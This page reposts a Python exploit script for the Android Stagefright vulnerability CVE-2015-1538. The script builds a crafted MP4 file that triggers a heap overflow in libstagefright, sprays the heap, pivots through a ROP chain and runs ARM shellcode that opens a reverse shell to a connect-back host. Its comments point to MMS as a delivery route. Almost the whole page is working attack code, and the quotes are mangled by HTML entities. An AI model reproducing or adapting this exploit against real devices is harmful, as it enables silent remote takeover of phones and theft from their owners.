Android Stagefright - Remote Code Execution

2015-09-09 20:06:09

#!/usr/bin/env python
# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
# Shout outs to our friends at Optiv (formerly Accuvant Labs)
# (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
# www.zimperium.com
#
# Exploit for RCE Vulnerability CVE-2015-1538 #1
# Integer Overflow in the libstagefright MP4 ‘stsc’ atom handling
#
# Don’t forget, the output of “create_mp4” can be delivered many ways!
# MMS is the most dangerous attack vector, but not the only one…
#
# DISCLAIMER: This exploit is for testing and educational purposes only. Any
# other usage for this code is not allowed. Use at your own risk.
#
# “With great power comes great responsibility.” – Uncle Ben
#
import struct
import socket
#
# Creates a single MP4 atom – LEN, TAG, DATA
#
def make_chunk(tag, data):
if len(tag) != 4:
raise ‘Yo! They call it “FourCC” for a reason.’
ret = struct.pack(‘>L’, len(data) + 8)
ret += tag
ret += data
return ret
#
# Make an ‘stco’ atom – Sample Table Chunk Offets
#
def make_stco(extra=”):
ret = struct.pack(‘>L’, 0) # version
ret += struct.pack(‘>L’, 0) # mNumChunkOffsets
return make_chunk(‘stco’, ret+extra)
#
# Make an ‘stsz’ atom – Sample Table Size
#
def make_stsz(extra=”):
ret = struct.pack(‘>L’, 0) # version
ret += struct.pack(‘>L’, 0) # mDefaultSampleSize
ret += struct.pack(‘>L’, 0) # mNumSampleSizes
return make_chunk(‘stsz’, ret+extra)
#
# Make an ‘stts’ atom – Sample Table Time-to-Sample
#
def make_stts():
ret = struct.pack(‘>L’, 0) # version
ret += struct.pack(‘>L’, 0) # mTimeToSampleCount
return make_chunk(‘stts’, ret)
#
# This creates a single Sample Table Sample-to-Chunk entry
#
def make_stsc_entry(start, per, desc):
ret = ”
ret += struct.pack(‘>L’, start + 1)
ret += struct.pack(‘>L’, per)
ret += struct.pack(‘>L’, desc)
return ret
#
# Make an ‘stsc’ chunk – Sample Table Sample-to-Chunk
#
# If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
# cause a heap overflow.
#
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
ret = struct.pack(‘>L’, 0) # version/flags
# this is the clean version…
if not do_overflow:
ret += struct.pack(‘>L’, num_alloc) # mNumSampleToChunkOffsets
ret += ‘Z’ * (12 * num_alloc)
return make_chunk(‘stsc’, ret)

# now the explicit version. (trigger the bug)
ret += struct.pack(‘>L’, 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets
# fill in the entries that will overflow the buffer
for x in range(0, num_write):
ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)

ret = make_chunk(‘stsc’, ret)

# patch the data_size
ret = struct.pack(‘>L’, 8 + 8 + (num_alloc * 12)) + ret[4:]

return ret

#
# Build the ROP chain
#
# ROP pivot by Georg Wicherski! Thanks!
#
“””
(gdb) x/10i __dl_restore_core_regs
0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5}
0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5}
0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc}
&ldquo;&rdquo;&rdquo;
&ldquo;&rdquo;&rdquo;
b0001144 <__dl_mprotect>:
b0001144: e92d0090 push {r4, r7}
b0001148: e3a0707d mov r7, #125 ; 0x7d
b000114c: ef000000 svc 0x00000000
b0001150: e8bd0090 pop {r4, r7}
b0001154: e1b00000 movs r0, r0
b0001158: 512fff1e bxpl lr
b000115c: ea0015cc b b0006894 <__dl_raise+0x10>
&ldquo;&rdquo;&rdquo;
def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
rop = &rdquo;
rop += struct.pack(&lsquo;<L&rsquo;, sp_addr + off + 0x10) # new sp
rop += struct.pack(&lsquo;<L&rsquo;, 0xb0002a98) # new lr &ndash; pop {pc}
rop += struct.pack(&lsquo;<L&rsquo;, 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc}

rop += struct.pack(&lsquo;<L&rsquo;, sp_addr & 0xfffff000) # new r0 &ndash; base address (page aligned)
rop += struct.pack(&lsquo;<L&rsquo;, 0x1000) # new r1 &ndash; length
rop += struct.pack(&lsquo;<L&rsquo;, 7) # new r2 &ndash; protection
rop += struct.pack(&lsquo;<L&rsquo;, 0xd000d003) # new r3 &ndash; scratch
rop += struct.pack(&lsquo;<L&rsquo;, 0xd000d004) # new r4 &ndash; scratch
rop += struct.pack(&lsquo;<L&rsquo;, 0xb0001144) # new pc &ndash; _dl_mprotect

native_start = sp_addr + 0x80
rop += struct.pack(&lsquo;<L&rsquo;, native_start) # address of native payload
#rop += struct.pack(&lsquo;<L&rsquo;, 0xfeedfed5) # top of stack&hellip;
# linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
buf = &rdquo;
# fork
buf += &lsquo;\x02\x70\xa0\xe3&rsquo;
buf += &lsquo;\x00\x00\x00\xef&rsquo;
# continue if not parent&hellip;
buf += &lsquo;\x00\x00\x50\xe3&rsquo;
buf += &lsquo;\x02\x00\x00\x0a&rsquo;
# exit parent
buf += &lsquo;\x00\x00\xa0\xe3&rsquo;
buf += &lsquo;\x01\x70\xa0\xe3&rsquo;
buf += &lsquo;\x00\x00\x00\xef&rsquo;
# setsid in child
buf += &lsquo;\x42\x70\xa0\xe3&rsquo;
buf += &lsquo;\x00\x00\x00\xef&rsquo;
# socket/connect/dup2/dup2/dup2
buf += &lsquo;\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c&rsquo;
buf += &lsquo;\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60&rsquo;
buf += &lsquo;\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0&rsquo;
buf += &lsquo;\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1&rsquo;
buf += &lsquo;\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06&rsquo;
buf += &lsquo;\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00&rsquo;
buf += &lsquo;\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0&rsquo;
buf += &lsquo;\xe3\x00\x00\x00\xef&rsquo;
# execve(shell, argv, env)
buf += &lsquo;\x30\x00\x8f\xe2\x04\x40\x24\xe0&rsquo;
buf += &lsquo;\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d&rsquo;
buf += &lsquo;\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00&rsquo;
buf += &lsquo;\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00&rsquo;
buf += &lsquo;\xef\x02\x00&rsquo;
# Add the connect back host/port
buf += struct.pack(&lsquo;!H&rsquo;, cb_port)
cb_host = socket.inet_aton(cb_host)
buf += struct.pack(&lsquo;=4s&rsquo;, cb_host)
# shell &ndash;
buf += &lsquo;/system/bin/sh\x00\x00&rsquo;
# argv &ndash;
buf += &lsquo;sh\x00\x00&rsquo;
# env &ndash;
buf += &lsquo;PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00&rsquo;

# Add some identifiable stuff, just in case something goes awry&hellip;
rop_start_off = 0x34
x = rop_start_off + len(rop)
while len(rop) < 0x80 &ndash; rop_start_off:
rop += struct.pack(&lsquo;<L&rsquo;, 0xf0f00000+x)
x += 4

# Add the native payload&hellip;
rop += buf

return rop

#
# Build an mp4 that exploits CVE-2015-1538 #1
#
# We mimic meow.3gp here&hellip;
#
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
chunks = []

# Build the MP4 header&hellip;
ftyp = &lsquo;mp42&rsquo;
ftyp += struct.pack(&lsquo;>L&rsquo;, 0)
ftyp += &lsquo;mp42&rsquo;
ftyp += &lsquo;isom&rsquo;
chunks.append(make_chunk(&lsquo;ftyp&rsquo;, ftyp))

# Note, this causes a few allocations&hellip;
moov_data = &rdquo;
moov_data += make_chunk(&lsquo;mvhd&rsquo;,
struct.pack(&lsquo;>LL&rsquo;, 0, 0x41414141) +
(&lsquo;B&rsquo; * 0x5c) )

# Add a minimal, verified trak to satisfy mLastTrack being set
moov_data += make_chunk(&lsquo;trak&rsquo;,
make_chunk(&lsquo;stbl&rsquo;,
make_stsc(0x28, 0x28) +
make_stco() +
make_stsz() +
make_stts() ))

# Spray the heap using a large tx3g chunk (can contain binary data!)
&ldquo;&rdquo;&rdquo;
0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs
0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0
0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1
0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4
0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement
0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1
0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase
0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr
0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address
0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6
0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it!
&ldquo;&rdquo;&rdquo;
page = &rdquo;
off = 0 # the offset to the next object
off += 8
page += struct.pack(&lsquo;<L&rsquo;, sp_addr + 8 + 16 + 8 + 12 &ndash; 28) # _vptr.RefBase (for when we smash mDataSource)
page += struct.pack(&lsquo;<L&rsquo;, sp_addr + off) # mRefs
off += 16
page += struct.pack(&lsquo;<L&rsquo;, 1) # mStrong
page += struct.pack(&lsquo;<L&rsquo;, 0xc0dedbad) # mWeak
page += struct.pack(&lsquo;<L&rsquo;, sp_addr + off) # mBase
page += struct.pack(&lsquo;<L&rsquo;, 16) # mFlags (dont set OBJECT_LIFETIME_MASK)
off += 8
page += struct.pack(&lsquo;<L&rsquo;, sp_addr + off) # the mBase _vptr.RefBase
page += struct.pack(&lsquo;<L&rsquo;, 0xf00dbabe) # mBase.mRefs (unused)
off += 16
page += struct.pack(&lsquo;<L&rsquo;, 0xc0de0000 + 0x00) # vtable entry 0
page += struct.pack(&lsquo;<L&rsquo;, 0xc0de0000 + 0x04) # vtable entry 4
page += struct.pack(&lsquo;<L&rsquo;, 0xc0de0000 + 0x08) # vtable entry 8
page += struct.pack(&lsquo;<L&rsquo;, newpc_val) # vtable entry 12
rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
x = len(page)
while len(page) < 4096:
page += struct.pack(&lsquo;<L&rsquo;, 0xf0f00000+x)
x += 4

off = 0x34
page = page[:off] + rop + page[off+len(rop):]
spray = page * (((2*1024*1024) / len(page)) &ndash; 20)
moov_data += make_chunk(&lsquo;tx3g&rsquo;, spray)
block = &lsquo;A&rsquo; * 0x1c
bigger = &lsquo;B&rsquo; * 0x40
udta = make_chunk(&lsquo;udta&rsquo;,
make_chunk(&lsquo;meta&rsquo;,
struct.pack(&lsquo;>L&rsquo;, 0) +
make_chunk(&lsquo;ilst&rsquo;,
make_chunk(&lsquo;cpil&rsquo;, make_chunk(&lsquo;data&rsquo;, struct.pack(&lsquo;>LL&rsquo;, 21, 0) + &lsquo;A&rsquo;)) +
make_chunk(&lsquo;trkn&rsquo;, make_chunk(&lsquo;data&rsquo;, struct.pack(&lsquo;>LL&rsquo;, 0, 0) + &lsquo;AAAABBBB&rsquo;)) +
make_chunk(&lsquo;disk&rsquo;, make_chunk(&lsquo;data&rsquo;, struct.pack(&lsquo;>LL&rsquo;, 0, 0) + &lsquo;AAAABB&rsquo;)) +
make_chunk(&lsquo;covr&rsquo;, make_chunk(&lsquo;data&rsquo;, struct.pack(&lsquo;>LL&rsquo;, 0, 0) + block)) * 32 +
make_chunk(&lsquo;\xa9alb&rsquo;, make_chunk(&lsquo;data&rsquo;, struct.pack(&lsquo;>LL&rsquo;, 0, 0) + block)) +
make_chunk(&lsquo;\xa9ART&rsquo;, make_chunk(&lsquo;data&rsquo;, struct.pack(&lsquo;>LL&rsquo;, 0, 0) + block)) +
make_chunk(&lsquo;aART&rsquo;, make_chunk(&lsquo;data&rsquo;, struct.pack(&lsquo;>LL&rsquo;, 0, 0) + block)) +
make_chunk(&lsquo;\xa9day&rsquo;, make_chunk(&lsquo;data&rsquo;, struct.pack(&lsquo;>LL&rsquo;, 0, 0) + block)) +
make_chunk(&lsquo;\xa9nam&rsquo;, make_chunk(&lsquo;data&rsquo;, struct.pack(&lsquo;>LL&rsquo;, 0, 0) + block)) +
make_chunk(&lsquo;\xa9wrt&rsquo;, make_chunk(&lsquo;data&rsquo;, struct.pack(&lsquo;>LL&rsquo;, 0, 0) + block)) +
make_chunk(&lsquo;gnre&rsquo;, make_chunk(&lsquo;data&rsquo;, struct.pack(&lsquo;>LL&rsquo;, 1, 0) + block)) +
make_chunk(&lsquo;covr&rsquo;, make_chunk(&lsquo;data&rsquo;, struct.pack(&lsquo;>LL&rsquo;, 0, 0) + block)) * 32 +
make_chunk(&lsquo;\xa9ART&rsquo;, make_chunk(&lsquo;data&rsquo;, struct.pack(&lsquo;>LL&rsquo;, 0, 0) + bigger)) +
make_chunk(&lsquo;\xa9wrt&rsquo;, make_chunk(&lsquo;data&rsquo;, struct.pack(&lsquo;>LL&rsquo;, 0, 0) + bigger)) +
make_chunk(&lsquo;\xa9day&rsquo;, make_chunk(&lsquo;data&rsquo;, struct.pack(&lsquo;>LL&rsquo;, 0, 0) + bigger)))
)
)
moov_data += udta

# Make the nasty trak
tkhd1 = &rdquo;.join([
&lsquo;\x00&rsquo;, # version
&lsquo;D&rsquo; * 3, # padding
&lsquo;E&rsquo; * (5*4), # {c,m}time, id, ??, duration
&lsquo;F&rsquo; * 0x10, # ??
struct.pack(&lsquo;>LLLLLL&rsquo;,
0x10000, # a00
0, # a01
0, # dx
0, # a10
0x10000, # a11
0), # dy
&lsquo;G&rsquo; * 0x14
])

trak1 = &rdquo;
trak1 += make_chunk(&lsquo;tkhd&rsquo;, tkhd1)

mdhd1 = &rdquo;.join([
&lsquo;\x00&rsquo;, # version
&lsquo;D&rsquo; * 0x17, # padding
])

mdia1 = &rdquo;
mdia1 += make_chunk(&lsquo;mdhd&rsquo;, mdhd1)
mdia1 += make_chunk(&lsquo;hdlr&rsquo;, &lsquo;F&rsquo; * 0x3a)

dinf1 = &rdquo;
dinf1 += make_chunk(&lsquo;dref&rsquo;, &lsquo;H&rsquo; * 0x14)

minf1 = &rdquo;
minf1 += make_chunk(&lsquo;smhd&rsquo;, &lsquo;G&rsquo; * 0x08)
minf1 += make_chunk(&lsquo;dinf&rsquo;, dinf1)

# Build the nasty sample table to trigger the vulnerability here.
stbl1 = make_stsc(3, (0x1200 / 0xc) &ndash; 1, sp_addr, True) # TRIGGER

# Add the stbl to the minf chunk
minf1 += make_chunk(&lsquo;stbl&rsquo;, stbl1)

# Add the minf to the mdia chunk
mdia1 += make_chunk(&lsquo;minf&rsquo;, minf1)

# Add the mdia to the track
trak1 += make_chunk(&lsquo;mdia&rsquo;, mdia1)

# Add the nasty track to the moov data
moov_data += make_chunk(&lsquo;trak&rsquo;, trak1)

# Finalize the moov chunk
moov = make_chunk(&lsquo;moov&rsquo;, moov_data)
chunks.append(moov)

# Combine outer chunks together and voila.
data = &rdquo;.join(chunks)

return data

if __name__ == &lsquo;__main__&rsquo;:
import sys
import mp4
import argparse

def write_file(path, content):
with open(path, &lsquo;wb&rsquo;) as f:
f.write(content)

def addr(sval):
if sval.startswith(&lsquo;0x&rsquo;):
return int(sval, 16)
return int(sval)

# The address of a fake StrongPointer object (sprayed)
sp_addr = 0x41d00010 # takju @ imm76i &ndash; 2MB (via hangouts)

# The address to of our ROP pivot
newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs

# Allow the user to override parameters
parser = argparse.ArgumentParser()
parser.add_argument(&lsquo;-c&rsquo;, &lsquo;&ndash;connectback-host&rsquo;, dest=&lsquo;cbhost&rsquo;, default=&lsquo;31.3.3.7&rsquo;)
parser.add_argument(&lsquo;-p&rsquo;, &lsquo;&ndash;connectback-port&rsquo;, dest=&lsquo;cbport&rsquo;, type=int, default=12345)
parser.add_argument(&lsquo;-s&rsquo;, &lsquo;&ndash;spray-address&rsquo;, dest=&lsquo;spray_addr&rsquo;, type=addr, default=None)
parser.add_argument(&lsquo;-r&rsquo;, &lsquo;&ndash;rop-pivot&rsquo;, dest=&lsquo;rop_pivot&rsquo;, type=addr, default=None)
parser.add_argument(&lsquo;-o&rsquo;, &lsquo;&ndash;output-file&rsquo;, dest=&lsquo;output_file&rsquo;, default=&lsquo;cve-2015-1538-1.mp4&rsquo;)
args = parser.parse_args()

if len(sys.argv) == 1:
parser.print_help()
sys.exit(&ndash;1)

if args.spray_addr == None:
args.spray_addr = sp_addr
if args.rop_pivot == None:
args.rop_pivot = newpc_val

# Build the MP4 file&hellip;
data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
print(&lsquo;[*] Saving crafted MP4 to %s &hellip;&rsquo; % args.output_file)
write_file(args.output_file, data) - See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/#sthash.MbvoiMxd.dpuf

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.